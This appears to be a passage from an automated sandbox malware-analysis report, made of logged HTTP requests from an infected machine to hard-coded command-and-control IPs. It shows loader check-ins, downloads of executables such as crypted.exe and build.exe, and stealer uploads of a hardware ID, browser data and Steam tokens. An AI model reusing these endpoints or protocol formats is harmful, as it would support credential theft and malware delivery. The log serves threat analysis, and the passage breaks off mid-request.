Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHJKJKKJDHIDHJKJDBGHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 47 2d 2d 0d 0a Data Ascii: ------EGHJKJKKJDHIDHJKJDBGContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------EGHJKJKKJDHIDHJKJDBGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EGHJKJKKJDHIDHJKJDBGContent-Disposition: form-data; name="file"------EGHJKJKKJDHIDHJKJDBG--
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 46 41 31 34 31 43 41 46 44 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFFA141CAFDFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /inc/build.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHDHost: 85.28.47.31Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="message"files------FBKEHJEGCFBFHJJKJEHD--
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHCAFHIJECGCAKFCGDBHost: 85.28.47.31Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 2d 2d 0d 0a Data Ascii: ------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KEHCAFHIJECGCAKFCGDB--
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJJDGDHDGDAKFIECFIJHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 33 38 34 38 32 34 39 30 33 42 33 30 32 33 30 31 31 38 35 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="hwid"07384824903B3023011859------HIJJDGDHDGDAKFIECFIJContent-Disposition: form-data; name="build"sila------HIJJDGDHDGDAKFIECFIJ--
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000001001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /inc/crypted.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000002001&unit=246122658369
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKFCFBFIDGCGDHJDBKFHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 33 38 34 38 32 34 39 30 33 42 33 30 32 33 30 31 31 38 35 39 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 2d 2d 0d 0a Data Ascii: ------FBKFCFBFIDGCGDHJDBKFContent-Disposition: form-data; name="hwid"07384824903B3023011859------FBKFCFBFIDGCGDHJDBKFContent-Disposition: form-data; name="build"sila------FBKFCFBFIDGCGDHJDBKF--
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000002001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /inc/5447jsX.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000003001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /inc/crypteda.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000004001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000005001&unit=246122658369
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000005001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /inc/25072023.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /744f169d372be841.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIEGIECGCBKFIEBGCAAHost: 85.28.47.70Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 33 38 34 38 32 34 39 30 33 42 33 30 32 33 30 31 31 38 35 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 51 4c 4c 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 2d 2d 0d 0a Data Ascii: ------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="hwid"07384824903B3023011859------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="build"QLL------AFIEGIECGCBKFIEBGCAA--
Source: global traffic HTTP traffic detected: POST /744f169d372be841.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIEBKKJJDAKFHIDBFHHost: 85.28.47.70Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 30 63 62 37 63 34 61 30 62 64 61 30 64 34 33 66 36 30 31 64 34 34 64 38 31 61 36 38 31 39 37 63 36 65 33 62 33 36 37 63 37 33 32 30 36 30 34 31 65 34 31 62 66 31 62 34 36 36 34 64 66 66 65 33 64 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="token"40b5d90cb7c4a0bda0d43f601d44d81a68197c6e3b367c73206041e41bf1b4664dffe3d9------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="message"browsers------CAFIEBKKJJDAKFHIDBFH--
Source: global traffic HTTP traffic detected: POST /744f169d372be841.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIDBAFHCAKFBGCBFHIJHost: 85.28.47.70Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 62 35 64 39 30 63 62 37 63 34 61 30 62 64 61 30 64 34 33 66 36 30 31 64 34 34 64 38 31 61 36 38 31 39 37 63 36 65 33 62 33 36 37 63 37 33 32 30 36 30 34 31 65 34 31 62 66 31 62 34 36 36 34 64 66 66 65 33 64 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 